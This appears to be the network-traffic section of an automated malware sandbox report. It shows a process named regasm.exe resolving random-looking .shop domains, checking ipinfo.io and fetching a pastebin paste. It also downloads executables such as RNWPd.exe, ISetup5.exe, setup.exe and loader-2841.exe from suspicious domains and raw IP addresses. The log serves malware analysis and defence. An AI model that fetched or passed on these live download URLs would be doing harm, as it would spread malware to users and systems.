                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    218.144.67.172.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    218.144.67.172.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN PTR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    acceptabledcooeprs.shop
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    acceptabledcooeprs.shop
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    acceptabledcooeprs.shop
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    104.21.59.156
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    acceptabledcooeprs.shop
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    172.67.180.137
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    231.148.67.172.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    231.148.67.172.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN PTR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    yip.su
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    yip.su
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    yip.su
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    104.21.79.77
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    yip.su
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    172.67.169.89
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    nic-it.nl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    nic-it.nl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    nic-it.nl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    210.182.29.70
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    nic-it.nl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    190.218.34.80
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    nic-it.nl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    190.220.21.28
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    nic-it.nl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    175.138.146.92
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    nic-it.nl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    190.13.174.91
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    nic-it.nl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    186.13.17.220
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    nic-it.nl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    179.159.229.64
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    nic-it.nl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    179.27.75.59
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    nic-it.nl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    186.182.55.44
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    nic-it.nl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    92.36.226.66
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    nic-it.nl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    nic-it.nl
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    https://yip.su/RNWPd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    regasm.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    104.21.79.77:443
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET /RNWPd.exe HTTP/1.1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Host: yip.su
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP/1.1 200 OK
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Date: Mon, 06 May 2024 01:31:17 GMT
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    memory: 0.36199188232421875
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    expires: Mon, 06 May 2024 01:31:17 +0000
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    strict-transport-security: max-age=604800
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    strict-transport-security: max-age=31536000
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    content-security-policy: img-src https: data:; upgrade-insecure-requests
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    x-frame-options: SAMEORIGIN
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Cache-Control: max-age=14400
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    CF-Cache-Status: EXPIRED
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Last-Modified: Mon, 06 May 2024 01:17:52 GMT
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WT6h5JqHMxkOa%2B5KDTY2Ba57WlrQCmSoAcu6xlxkaKMBVH%2FawOpzMMkMjsCKqBOqyMf0Y7pPxalfFN6LXA15FHQV4zZajzJOnthXcvHTxH6aKK0UWdQz%2Bg0%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Server: cloudflare
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    CF-RAY: 87f535b8bbcc7786-LHR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    https://pastebin.com/raw/E0rY26ni
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    regasm.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    172.67.19.24:443
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET /raw/E0rY26ni HTTP/1.1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Host: pastebin.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP/1.1 200 OK
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Date: Mon, 06 May 2024 01:31:17 GMT
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Content-Type: text/plain; charset=utf-8
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    x-frame-options: DENY
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    x-content-type-options: nosniff
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    x-xss-protection: 1;mode=block
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    cache-control: public, max-age=1801
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    CF-Cache-Status: HIT
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Age: 563
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Last-Modified: Mon, 06 May 2024 01:21:54 GMT
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Server: cloudflare
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    CF-RAY: 87f535b8bd316343-LHR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-de
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    http://185.172.128.59/ISetup5.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    regasm.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    185.172.128.59:80
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET /ISetup5.exe HTTP/1.1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Host: 185.172.128.59
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP/1.1 200 OK
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Date: Mon, 06 May 2024 01:31:17 GMT
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Server: Apache/2.4.52 (Ubuntu)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Last-Modified: Mon, 06 May 2024 01:30:02 GMT
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    ETag: "68201-617bf0223fc12"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Accept-Ranges: bytes
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Content-Length: 426497
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Keep-Alive: timeout=5, max=100
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Content-Type: application/x-msdos-program
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-ru
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    http://193.233.132.175/server/ww12/AppGate2103v01.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    regasm.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    193.233.132.175:80
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET /server/ww12/AppGate2103v01.exe HTTP/1.1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Host: 193.233.132.175
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP/1.1 200 OK
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Server: nginx/1.22.1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Date: Mon, 06 May 2024 01:31:17 GMT
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Content-Type: application/octet-stream
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Content-Length: 5725464
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Last-Modified: Sun, 05 May 2024 10:41:08 GMT
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    ETag: "66376244-575d18"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Accept-Ranges: bytes
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-ru
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    http://193.233.132.234/files/setup.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    regasm.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    193.233.132.234:80
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET /files/setup.exe HTTP/1.1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Host: 193.233.132.234
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP/1.1 200 OK
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Date: Mon, 06 May 2024 01:31:17 GMT
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Last-Modified: Sun, 05 May 2024 06:37:39 GMT
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    ETag: "63aba2-617af307316c9"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Accept-Ranges: bytes
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Content-Length: 6532002
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Keep-Alive: timeout=5, max=100
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Content-Type: application/x-msdownload
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-ru
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    http://193.233.132.234/files/setup.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    regasm.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    193.233.132.234:80
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET /files/setup.exe HTTP/1.1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Host: 193.233.132.234
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-ru
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    http://193.233.132.234/files/loader-2841.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    regasm.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    193.233.132.234:80
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET /files/loader-2841.exe HTTP/1.1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Host: 193.233.132.234
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP/1.1 404 Not Found
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Date: Mon, 06 May 2024 01:31:17 GMT
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Content-Length: 301
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Keep-Alive: timeout=5, max=100
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    sweetsquarediaslw.shop
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    RegAsm.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    sweetsquarediaslw.shop
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    sweetsquarediaslw.shop
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    104.21.44.201
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    sweetsquarediaslw.shop
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    172.67.203.170
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    holicisticscrarws.shop
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    RegAsm.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    holicisticscrarws.shop
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    holicisticscrarws.shop
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    172.67.183.72
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    holicisticscrarws.shop
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    104.21.40.92
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    77.79.21.104.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    RegAsm.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    77.79.21.104.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN PTR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    30.186.67.172.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    RegAsm.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    30.186.67.172.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN PTR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    ipinfo.io
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    RegAsm.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    ipinfo.io
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    ipinfo.io
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    34.117.186.192
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    ocsp.pki.goog
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    RegAsm.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    ocsp.pki.goog
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    ocsp.pki.goog
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN CNAME
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    pki-goog.l.google.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    pki-goog.l.google.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    142.250.187.195
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    240.143.123.92.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    RegAsm.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    240.143.123.92.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN PTR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    240.143.123.92.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN PTR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    a92-123-143-240deploystaticakamaitechnologiescom
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    73.190.18.2.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    RegAsm.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    73.190.18.2.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN PTR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    73.190.18.2.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN PTR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    a2-18-190-73deploystaticakamaitechnologiescom
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    151.94.82.35.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    RegAsm.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    151.94.82.35.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN PTR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    151.94.82.35.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    IN PTR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    ec2-35-82-94-151 us-west-2compute amazonawscom
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    https://onlycitylink.com/baf14778c246e15550645e30ba78ce1c.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    regasm.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    172.67.182.192:443
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET /baf14778c246e15550645e30ba78ce1c.exe HTTP/1.1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Host: onlycitylink.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP/1.1 307 Temporary Redirect
